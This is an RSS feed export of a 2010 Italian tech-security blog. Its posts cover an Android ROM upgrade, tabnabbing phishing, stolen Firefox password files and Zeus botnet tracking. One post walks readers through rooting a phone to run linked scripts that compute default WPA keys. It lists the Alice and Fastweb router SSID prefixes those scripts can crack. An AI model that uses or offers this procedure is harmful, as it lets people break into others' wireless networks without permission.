<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michele Manzotti</title>
	<atom:link href="http://manzotti.eu/feed" rel="self" type="application/rss+xml" />
	<link>http://manzotti.eu</link>
	<description></description>
	<lastBuildDate>Fri, 03 Sep 2010 14:56:18 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Anche io voglio le scimmie di youtube!</title>
		<link>http://manzotti.eu/anche-io-voglio-le-scimmie</link>
		<comments>http://manzotti.eu/anche-io-voglio-le-scimmie#comments</comments>
		<pubDate>Fri, 03 Sep 2010 14:42:33 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Reti e Telecomunicazioni]]></category>
		<category><![CDATA[scimmie]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1941</guid>
		<description><![CDATA[
ROFL!
]]></description>
			<content:encoded><![CDATA[<p><a href="http://manzotti.eu/wp-content/uploads/2010/09/scimmie.png"><img src="http://manzotti.eu/wp-content/uploads/2010/09/scimmie-300x197.png" alt="" title="scimmie" width="300" height="197" class="aligncenter size-medium wp-image-1942" /></a></p>
<p>ROFL!</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/anche-io-voglio-le-scimmie/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WPA Alice &amp; Fastweb script for Android</title>
		<link>http://manzotti.eu/wpa-alice-fastweb-script-for-android</link>
		<comments>http://manzotti.eu/wpa-alice-fastweb-script-for-android#comments</comments>
		<pubDate>Wed, 04 Aug 2010 10:52:30 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Reti e Telecomunicazioni]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[manzotti.eu]]></category>
		<category><![CDATA[alice]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[busybox]]></category>
		<category><![CDATA[fastweb]]></category>
		<category><![CDATA[router]]></category>
		<category><![CDATA[wpa]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1865</guid>
		<description><![CDATA[In questi giorni d&#8217;estate, fuori da sbattimenti vari, sto cercando di portare a termine quella &#8220;ToDoList&#8221; che mi ero fatto durante il periodo invernale. Spesso mi capita di leggere cose interessanti e non aver il tempo necessario per applicarle/testarle/provarle. Così mi limito ad appuntarle e inesorabilmente la lista aumenta.

Tra le varie cose, mi ero promesso [...]]]></description>
			<content:encoded><![CDATA[<p>In questi giorni d&#8217;estate, fuori da sbattimenti vari, sto cercando di portare a termine quella &#8220;ToDoList&#8221; che mi ero fatto durante il periodo invernale. Spesso mi capita di leggere cose interessanti e non aver il tempo necessario per applicarle/testarle/provarle. Così mi limito ad appuntarle e inesorabilmente la lista aumenta.</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/08/router.jpg"><img src="http://manzotti.eu/wp-content/uploads/2010/08/router-300x272.jpg" alt="" title="router" width="300" height="272" class="aligncenter size-medium wp-image-1922" /></a></p>
<p>Tra le varie cose, mi ero promesso di scrivere due semplici script per il calcolo della WPA di default di Alice e Fastweb compatibili per il mio Android in modo da avere un piccolo coltellino svizzero sempre con me. In precedenza avevo <a href="http://www.backtrack.it/~m7x/hfdroid.html">codato qualcosa</a>, ma visti i numerosi script ormai reperibilissimi in rete non vedo perchè non pubblicare una versione compatibile per Android qui. </p>
<h3>Requisiti</h3>
<p>Per far funzionare al meglio i miei script è necessario avere:</p>
<ul>
<li>Accesso root <a href="http://www.androidworld.it/wiki/Root">link</a> <a href="http://www.androidiani.com/wiki/#Diventare_Root_.28_flash_recovery_.2B_flash_rom_.29">link</a> &#8211; indispensabile per cambiare i permessi ai file</li>
<li>Adb funzionante <a href="http://www.androidworld.it/wiki/ADB">link</a> <a href="http://www.androidiani.com/wiki/Adb">link</a> &#8211; indispensabile per i trasferimenti dei file</li>
<li>ConnectBot <a href="http://code.google.com/p/connectbot/">link</a> &#8211; disponibile nel Market</li>
<li>Astro File Manager <a href="http://www.androidtapp.com/astro-file-manager/">link</a> &#8211; disponibile nel Market</li>
</ul>
<h3>Configurazione</h3>
<p>Una volta preparato l&#8217;ambiente è necessario installare sul mobile <a href="http://www.busybox.net/">busybox</a>, <a href="http://packages.debian.org/sid/bc">bc</a>, e la <a href="http://www.gnu.org/software/bash/">bash</a>. Android lavora su <a href="http://en.wikipedia.org/wiki/ARM_architecture">architettura ARM</a> sono quindi necessari binary compilati per questi sistemi embedded:</p>
<ul>
<li>Busybox <a href="http://manzotti.eu/wp-content/uploads/2010/08/busybox">link</a></li>
<li>Bc <a href="http://manzotti.eu/wp-content/uploads/2010/08/bc">link</a></li>
<li>Bash <a href="http://manzotti.eu/wp-content/uploads/2010/08/bash">link</a></li>
</ul>
<p>Dopo averli scaricati, collegate il mobile in &#8220;Debug mode&#8221; al pc, collocatevi nella directory di adb e procedete con questa serie di comandi:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">adb remount
adb push busybox /data
adb push bc /data
adb push bash
adb shell
mount -o remount,rw -t yaffs2 /dev/block/mtdblock4 /system
mkdir /system/xbin
cat /data/busybox &gt; /system/xbin/busybox
chmod 755 /system/xbin/busybox
busybox --install /system/xbin
cat /data/bc &gt; /system/bin/bc
chmod 755 /system/bin/bc
cat /data/bash &gt; /system/bin/bash
chmod 755 /system/bin/bash
mount -o ro,remount -t yaffs2 /dev/block/mtdblock4 /system
sync
reboot</pre></div></div>

<p>Prima di utilizzare gli script bisogna considerare che non tutti i router sono vulnerabili ma attualmente solo quelli con il SSID mostrati nelle due liste:</p>
<p>FASTWEB-*-000827*<br />
FASTWEB-*-0013C8*<br />
FASTWEB-*-0017C2*<br />
FASTWEB-*-00193E*<br />
FASTWEB-*-001CA2*<br />
FASTWEB-*-001D8B*<br />
FASTWEB-*-002233*<br />
FASTWEB-*-00238E*<br />
FASTWEB-*-002553*</p>
<p>Alice-46*<br />
Alice-48*<br />
Alice-54*<br />
Alice-55*<br />
Alice-56*<br />
Alice-93*<br />
Alice-96*</p>
<p>A questo punto scaricate gli script e caricateli nel mobile.</p>
<ul>
<li>Fastweb <a href="http://manzotti.eu/wp-content/uploads/2010/08/fast">script</a></li>
<li>Alice <a href="http://manzotti.eu/wp-content/uploads/2010/08/alice">script</a></li>
</ul>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">adb remount
adb push fast /sdcard
adb push alice /sdcard</pre></div></div>

<h3>Utilizzo</h3>
<p>Prendete il mobile e con l&#8217;applicazione Astro aprite lo script per modificate gli input: la variabile ssid e mac nel caso di Alice, la variabile input nel caso di Fastweb.</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/08/wpid-screenshot_2.png"><img src="http://manzotti.eu/wp-content/uploads/2010/08/wpid-screenshot_2-180x300.png" alt="" title="wpid-screenshot_2.png" width="180" height="300" class="aligncenter size-medium wp-image-1907" /></a></p>
<p>Dopo di che utilizzate ConnectBot per avere una shell in Android e per lanciare gli script digitate questi comandi:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">su
cd /sdcard
bash fast
bash alice</pre></div></div>

<h3>Demo</h3>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/fofgNa81VA8&amp;hl=it_IT&amp;fs=1?rel=0&amp;hd=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/fofgNa81VA8&amp;hl=it_IT&amp;fs=1?rel=0&amp;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>Enjoy.</p>
<p><strong>Disclaimer</strong>: Non mi retengo in nessun modo responsabile per le informazioni descritte in questo articolo e per l&#8217;uso che ne vogliate fare.</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/wpa-alice-fastweb-script-for-android/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>SHODAN for Pentration Tester</title>
		<link>http://manzotti.eu/shodan-for-pentration-tester</link>
		<comments>http://manzotti.eu/shodan-for-pentration-tester#comments</comments>
		<pubDate>Mon, 02 Aug 2010 10:18:44 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[defcon]]></category>
		<category><![CDATA[penetration]]></category>
		<category><![CDATA[shodan]]></category>
		<category><![CDATA[tester]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1855</guid>
		<description><![CDATA[Proprio in questi giorni a Las Vegas si è concluso il 18esimo Defcon, una manifestazione dove i migliori Hacker di tutto il mondo si riuniscono e presentano nuove metodologie di attacco. La novità di quest&#8217;anno è senza dubbio l&#8217;attacco alla WPA2, crittografia attualmente considerata la più sicura nelle reti WiFi.
Tuttavia mi piace condividere anche quest&#8217;altra [...]]]></description>
			<content:encoded><![CDATA[<p>Proprio in questi giorni a Las Vegas si è concluso il <a href="http://www.defcon.org/html/defcon-18/dc-18-index.html">18esimo Defcon</a>, una manifestazione dove i migliori Hacker di tutto il mondo si riuniscono e presentano nuove metodologie di attacco. La novità di quest&#8217;anno è senza dubbio l&#8217;<a href="http://www.defcon.org/html/defcon-18/dc-18-speakers.html#Ahmad">attacco alla WPA2</a>, crittografia attualmente considerata la più sicura nelle reti WiFi.</p>
<p>Tuttavia mi piace condividere anche quest&#8217;altra interessante presentazione su <a href="http://www.shodanhq.com/">SHODAN</a>, un motore di ricerca per computer e server. SHODAN permette di scovare in Internet devices come router, switch, server web&#8230; insomma un bel patrimonio di risorse! Molto intriganti sono i case study di cui uno relativo a Cisco e molto simile a <a href="http://manzotti.eu/il-giovane-hacker">quello che avevo discusso qui</a>.</p>
<p><a title="View SHODAN for Penetration Testers (DEFCON 18) on Scribd" href="http://www.scribd.com/doc/35202796/SHODAN-for-Penetration-Testers-DEFCON-18" style="margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block; text-decoration: underline;">SHODAN for Penetration Testers (DEFCON 18)</a> <object id="doc_374927059446669" name="doc_374927059446669" height="500" width="100%" type="application/x-shockwave-flash" data="http://d1.scribdassets.com/ScribdViewer.swf" style="outline:none;" rel="media:presentation" resource="http://d1.scribdassets.com/ScribdViewer.swf?document_id=35202796&#038;access_key=key-ka62xdefspyn5n30do7&#038;page=1&#038;viewMode=slideshow" xmlns:media="http://search.yahoo.com/searchmonkey/media/" xmlns:dc="http://purl.org/dc/terms/" ><param name="movie" value="http://d1.scribdassets.com/ScribdViewer.swf"><param name="wmode" value="opaque"><param name="bgcolor" value="#ffffff"><param name="allowFullScreen" value="true"><param name="allowScriptAccess" value="always"><param name="FlashVars" value="document_id=35202796&#038;access_key=key-ka62xdefspyn5n30do7&#038;page=1&#038;viewMode=slideshow"><embed id="doc_374927059446669" name="doc_374927059446669" src="http://d1.scribdassets.com/ScribdViewer.swf?document_id=35202796&#038;access_key=key-ka62xdefspyn5n30do7&#038;page=1&#038;viewMode=slideshow" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="500" width="100%" wmode="opaque" bgcolor="#ffffff"></embed></object> </p>
<p>A presto!</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/shodan-for-pentration-tester/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installare Eclair Android 2.1 su Acer Liquid</title>
		<link>http://manzotti.eu/installare-eclair-android-2-1-su-acer-liquid</link>
		<comments>http://manzotti.eu/installare-eclair-android-2-1-su-acer-liquid#comments</comments>
		<pubDate>Mon, 12 Jul 2010 23:41:50 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[acer]]></category>
		<category><![CDATA[android 2.1]]></category>
		<category><![CDATA[eclair]]></category>
		<category><![CDATA[installare]]></category>
		<category><![CDATA[liquid]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1826</guid>
		<description><![CDATA[Ci ho passato un pomeriggio ma alla fine il risultato ha ripagato il tempo impiegato!
Come ben sapete è uscita la versione ufficiale di Android 2.1 per l&#8217;Acer Liquid:

Le principali novità che ho potuto apprezzare fin da subito sono:
- Multitouch perfettamente funzionante;
- Integrazione con Picasa;
- Backup dei contatti in automatico;
- 5 Desktop;
- Bluetooth finalmente funzionante;
- Menù [...]]]></description>
			<content:encoded><![CDATA[<p>Ci ho passato un pomeriggio ma alla fine il risultato ha ripagato il tempo impiegato!<br />
Come ben sapete è uscita la versione ufficiale di <strong>Android 2.1 per l&#8217;Acer Liquid</strong>:</p>
<p><a href="http://www.batista70phone.com/wp-content/2010/07/ROM-Eclair-Acer-Liquid.jpg"><img alt="Rom Eclair" src="http://www.batista70phone.com/wp-content/2010/07/ROM-Eclair-Acer-Liquid.jpg" title="Rom Eclair" class="aligncenter" width="692" height="498" /></a></p>
<p>Le principali novità che ho potuto apprezzare fin da subito sono:</p>
<p>- <strong>Multitouch</strong> perfettamente funzionante;<br />
- <strong>Integrazione con Picasa</strong>;<br />
- <strong>Backup dei contatti</strong> in automatico;<br />
- <strong>5 Desktop</strong>;<br />
- <strong>Bluetooth</strong> finalmente funzionante;<br />
- <strong>Menù migliorato</strong> molto più bello da vedere.</p>
<p>Unica nota dolente probabilmente sarà la batteria, infatti Eclair (Android 2.1) consuma leggermente di più rispetto a Donut (Android 1.6). Tuttavia l&#8217;aggiornamento è d&#8217;obbligo e vediamo come fare.</p>
<p><strong><br />
<h3>Installazione di Eclair Android 2.1</h3>
<p></strong></p>
<p>L&#8217;upgrade alla versione 2.1 non è una operazione complicata! Quindi non spaventatevi.<br />
Per prima cosa è necessario recuperare la Rom direttamente dal <a href="http://global-download.acer.com/GDFiles/OS/OS/OS_Acer_1.100.39.EMEA.GEN1_A21E_A.zip?acerid=634141753863220077&#038;Step1=Smart%20Handheld&#038;Step2=Liquid&#038;Step3=Liquid&#038;OS=a02&#038;LC=it&#038;BC=Acer&#038;SC=EMEA_17">sito ufficiale dell&#8217;Acer</a>. Una volta decompresso il pacchetto sarà sufficiente lanciare il <strong>setup.exe</strong> presente all&#8217;interno della cartella <strong>EUU_Acer_LiquidE_1.100.39_EMEA-GEN1_04.02.02</strong>.<br />
Mi raccomando fino a questo punto non collegate il telefono all&#8217;usb del pc, bensì attendete il momento in cui ve lo sarà chiesto, come mostrato nell&#8217;immagine, a quel punto allora collegatelo.</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/eclair-android.jpg"><img src="http://manzotti.eu/wp-content/uploads/2010/07/eclair-android-300x236.jpg" alt="" title="eclair android" width="300" height="236" class="aligncenter size-medium wp-image-1831" /></a></p>
<p>Una volta premuto &#8220;Avanti&#8221; non dovete far altro che attendere la conclusione della procedura di reflash. Il telefono effettuerà un reboot con <strong>Eclair Android 2.1</strong> pronto per essere utilizzato.</p>
<p><strong><br />
<h3>Problema sul riconoscimento della versione precedente</h3>
<p></strong></p>
<p>Se come me partivate con una Rom <strong>Acer_liquid_1.002.03_EMEA_GEN1</strong> (<em>Impostazioni -> Info sul Telefono -> Numero Build</em>) e l&#8217;utility dell&#8217;Acer non vi ha riconosciuto la versione precedente non consentendovi di procedere, allora è necessario fare qualche passaggio in più.</p>
<p>Scaricatevi questo <a href="http://www.megaupload.com/?d=CJG25NC9">Acer Tool</a> e questa <a href="http://213.82.38.215/privata/liquid/Acer_LiquidE_1.100.05_EMEA_GEN1.bin">Build</a>. Scompattate il pacchetto e lanciate <strong>ACER Download Tool [Single].exe</strong> che trovate all&#8217;interno della directory principale. Collegate il telefonino e selezionate con l&#8217;Acer Tool la build appena scaricata. Cliccate su Start e non scollegate l&#8217;usb fino al termine dalla procedura.</p>
<p>Se tutto è andato per il verso giusto il telefono reboota con <strong>Eclair Android 2.1</strong>. A questo punto potete tenervi questa build oppure rifare il primo passaggio utilizzando quella ufficiale visto che ora l&#8217;utility dell&#8217;Acer riconosce la versione precedente.</p>
<p>Fonte:<br />
Tutte queste info le ho recuperate dall&#8217;ottimo <a href="http://www.batista70phone.net/">forum di batista70</a>. Scopo di questo post è stato quello di sintetizzare i concetti principali elencati in questo <a href="http://www.batista70phone.net/eclair-2-1-ufficiale-per-liquid-1-100-39-emea-gen1-t7857.html">thread</a>. Da segnalare anche la <a href="http://www.batista70phone.net/b70p-2-0-t7903.html">Rom non ufficiale b70p 2.0</a> sicuramente da testare visto l&#8217;interessante <a href="http://www.youtube.com/watch?v=sPFTBNv_Ees">video di presentazione</a>.</p>
<p>Alla prossima!</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/installare-eclair-android-2-1-su-acer-liquid/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tabnabbing: A New Type of Phishing Attack</title>
		<link>http://manzotti.eu/tabnabbing-a-new-type-of-phishing-attack</link>
		<comments>http://manzotti.eu/tabnabbing-a-new-type-of-phishing-attack#comments</comments>
		<pubDate>Sat, 03 Jul 2010 13:00:36 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[tab]]></category>
		<category><![CDATA[tabnabbing]]></category>
		<category><![CDATA[tecnica]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1801</guid>
		<description><![CDATA[Anche voi siete abili navigatori web, frequentatori di forum, amanti del protocollo HTTP e ogni volta aprite contemporaneamente mille tab del proprio browser?
Bene. Allora questo articolo fa per voi!

Infatti un web design americano Aza Raskin ha recentemente pubblicato una nuova tipologia di phishing: il Tabnabbing.
Questa nuova tecnica di attacco sfrutta proprio questa caratteristica comune a [...]]]></description>
			<content:encoded><![CDATA[<p>Anche voi siete abili navigatori web, frequentatori di forum, amanti del protocollo HTTP e ogni volta <strong>aprite contemporaneamente mille tab del proprio browser?</strong></p>
<p>Bene. Allora questo articolo fa per voi!</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/phishing.png"><img src="http://manzotti.eu/wp-content/uploads/2010/07/phishing-300x300.png" alt="" title="phishing" width="300" height="300" class="aligncenter size-medium wp-image-1820" /></a></p>
<p>Infatti un web design americano <a href="http://en.wikipedia.org/wiki/Aza_Raskin">Aza Raskin</a> ha recentemente pubblicato una nuova tipologia di phishing: il <strong><a href="http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/">Tabnabbing</a></strong>.</p>
<p>Questa nuova tecnica di attacco sfrutta proprio questa caratteristica comune a molti di tenere aperte centinaia di tab. Nello specifico consiste in <a href="http://www.azarask.in/projects/bgattack.js">un file Javascript</a> dove si imposta un redirect nel momento in cui l&#8217;utente seleziona altre tab aperte. Dunque punta a sfruttare l&#8217;attimo di distrazione da parte del navigatore impegnato a leggere altre pagine.</p>
<p>Infatti nel <a href="http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/">sito</a> dove viene descritta questa tecnica è presente anche una demo: se lo avete aperto in un nuovo tab e poi siete ritornati qui per leggere il resto dell&#8217;articolo sicuramente noterete che è stato fatto un redirect ad una pagina contente l&#8217;immagine di login di gmail.</p>
<p>Semplice ma efficace!</p>
<p>C&#8217;è anche un video che illustra bene quello che succede.</p>
<p><object width="400" height="267"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=12003099&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=12003099&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="267"></embed></object>
<p><a href="http://vimeo.com/12003099">A New Type of Phishing Attack</a> from <a href="http://vimeo.com/user532161">Aza Raskin</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<p>Forte vero?<br />
Alla prossima!</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/tabnabbing-a-new-type-of-phishing-attack/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox Saved Password</title>
		<link>http://manzotti.eu/firefox-saved-password</link>
		<comments>http://manzotti.eu/firefox-saved-password#comments</comments>
		<pubDate>Sat, 03 Jul 2010 08:00:22 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[salvate]]></category>
		<category><![CDATA[saved]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1779</guid>
		<description><![CDATA[
Occhio ragazzi! Se siete come me, ossia un utilizzatore abituale di firefox, state attenti a non farvi rubare questi due file localizzati nella directory dell&#8217;utente di Mozilla:

key3.db
signons.sqlite

Ecco cosa potrebbe capitare:

In questo modo anche la vostra ragazza potrebbe farvela!
  
]]></description>
			<content:encoded><![CDATA[<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/password.jpg"><img src="http://manzotti.eu/wp-content/uploads/2010/07/password-237x300.jpg" alt="" title="password" width="237" height="300" class="aligncenter size-medium wp-image-1796" /></a></p>
<p>Occhio ragazzi! Se siete come me, ossia un utilizzatore abituale di firefox, state attenti a non farvi rubare questi due file localizzati nella directory dell&#8217;utente di Mozilla:</p>
<ul>
<li>key3.db</li>
<li>signons.sqlite</li>
</ul>
<p>Ecco cosa potrebbe capitare:</p>
<p><object width="640" height="505"><param name="movie" value="http://www.youtube.com/v/l0N7ZIcoArI&#038;fmt=22;hl=it_IT&amp;fs=1?hd=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/l0N7ZIcoArI&#038;fmt=22;hl=it_IT&amp;fs=1?hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="520" height="505"></embed></object></p>
<p>In questo modo anche la vostra ragazza potrebbe farvela!<br />
 <img src='http://manzotti.eu/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/firefox-saved-password/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Analizziamo una Botnet con Zeus Tracker</title>
		<link>http://manzotti.eu/analizziamo-una-botnet-con-zeus-tracker</link>
		<comments>http://manzotti.eu/analizziamo-una-botnet-con-zeus-tracker#comments</comments>
		<pubDate>Fri, 02 Jul 2010 14:00:38 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Reti e Telecomunicazioni]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[analisi]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[zeus]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1754</guid>
		<description><![CDATA[In occasione del corso di formazione relativo al task 03 di ICAR, a fine giornata un signore mi pose una domanda, seppur banale per noi amanti della network security, molto accattivante e ricca di riflessioni personali: Che cosa è una botnet?
Dovendo spiegare a persone che di informatica non ne masticano, a maggior ragione di sicurezza, [...]]]></description>
			<content:encoded><![CDATA[<p>In occasione del <a href="http://conferences.cs.unicam.it/icarplusformazione/programma/modulo-2-%E2%80%93-aspetti-infrastrutturali/">corso di formazione relativo al task 03 di ICAR</a>, a fine giornata un signore mi pose una domanda, seppur banale per noi amanti della network security, molto accattivante e ricca di riflessioni personali: <strong>Che cosa è una botnet?</strong></p>
<p>Dovendo spiegare a persone che di informatica non ne masticano, a maggior ragione di sicurezza, presi il videoproiettore e con la frase &#8220;Ecco questa è una botnet&#8230;&#8221; mostrai la seguente immagine:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-google.png"><img class="aligncenter size-medium wp-image-1755" title="botnet-google" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-google-300x186.png" alt="" width="537" height="596" /></a></p>
<p>Si tratta infatti di una immagine estrapolata dal sito <a href="https://zeustracker.abuse.ch/">ZeusTracker</a> che mostra in tempo reale le macchine infette nel mondo. Ora non è compito di questo articolo spiegarvi cosa sia una <a href="http://it.wikipedia.org/wiki/Botnet">botnet</a> perchè di materiale in rete ve ne è fin troppo. Quello che mi preme condividere sono le informazioni presenti in <a href="https://zeustracker.abuse.ch/">ZeusTracker</a>.</p>
<p>Oltre a fornire una rapida overview della situazione, c&#8217;è una <a href="https://zeustracker.abuse.ch/blocklist.php">blocklist</a> sia di IP che Domain da poter scaricare e caricare nel proprio firewall/proxy. Inoltre nel caso in cui dobbiate fare un&#8217;analisi sulle botnet potreste prendere Zeus come esempio e recuperare i dati nella pagina delle <a href="https://zeustracker.abuse.ch/statistic.php">statistiche</a>.</p>
<p>Attualmente la botnet presenta un numero di &#8220;nuovi&#8221; host al mese superiore a <strong>300</strong>:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-host.png"><img class="aligncenter size-medium wp-image-1761" title="botnet-host" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-host-300x141.png" alt="" width="300" height="141" /></a></p>
<p>con un totale di circa <strong>1410</strong> macchine infettate:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-total.png"><img class="aligncenter size-medium wp-image-1762" title="botnet-total" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-total-300x95.png" alt="" width="300" height="95" /></a></p>
<p>con i C&amp;C hostati su domini di provenienza <strong>cinese</strong>, <strong>russa</strong> e <strong>americana</strong>:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-cc.png"><img class="aligncenter size-medium wp-image-1763" title="botnet-c&amp;c" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-cc-300x91.png" alt="" width="300" height="91" /></a></p>
<p>e infine non potevano mancare gli ultimi arrivi:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-last.png"><img class="aligncenter size-medium wp-image-1764" title="botnet-last" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-last-300x122.png" alt="" width="300" height="122" /></a></p>
<p> <img src='http://manzotti.eu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Peccato che non ci sia il costo per l&#8217;affitto!! Comunque non disperiamo&#8230; con <strong>200 €</strong> compriamo direttamente i sorgenti:</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/botnet-n0ise.png"><img class="aligncenter size-medium wp-image-1765" title="botnet-n0ise" src="http://manzotti.eu/wp-content/uploads/2010/07/botnet-n0ise-300x173.png" alt="" width="300" height="173" /></a></p>
<p>Non sarà del calibro di Zeus ma va bene lo stesso!<br />
[spero che vi siate fatti una risata qui.]</p>
<p>Vi lascio con un simpatico video su una investigazione fatta dalla <a href="http://news.bbc.co.uk/2/hi/programmes/click_online/7938201.stm">BBC</a> nel Marzo 2009:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="512" height="400" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="FlashVars" value="config_settings_showUpdatedInFooter=true&amp;config_settings_showPopoutButton=false&amp;playlist=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fmedia%2Femp%2F7940000%2F7940400%2F7940485%2Exml&amp;config=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fplayer%2Femp%2Fconfig%2Fdefault%2Exml%3F1%2E3%2E114%5F2%2E14%2E10344%5F10753%5F20090817121631&amp;config_settings_language=default&amp;config_settings_showFooter=true&amp;config_plugin_fmtjLiveStats_pageType=eav6&amp;config_settings_showPopoutButton=false&amp;config_settings_showPopoutCta=false&amp;config_settings_addReferrerToPlaylistRequest=true" /><param name="src" value="http://news.bbc.co.uk/player/emp/external/player.swf" /><param name="flashvars" value="config_settings_showUpdatedInFooter=true&amp;config_settings_showPopoutButton=false&amp;playlist=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fmedia%2Femp%2F7940000%2F7940400%2F7940485%2Exml&amp;config=http%3A%2F%2Fnews%2Ebbc%2Eco%2Euk%2Fplayer%2Femp%2Fconfig%2Fdefault%2Exml%3F1%2E3%2E114%5F2%2E14%2E10344%5F10753%5F20090817121631&amp;config_settings_language=default&amp;config_settings_showFooter=true&amp;config_plugin_fmtjLiveStats_pageType=eav6&amp;config_settings_showPopoutButton=false&amp;config_settings_showPopoutCta=false&amp;config_settings_addReferrerToPlaylistRequest=true" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="512" height="400" src="http://news.bbc.co.uk/player/emp/external/player.swf" 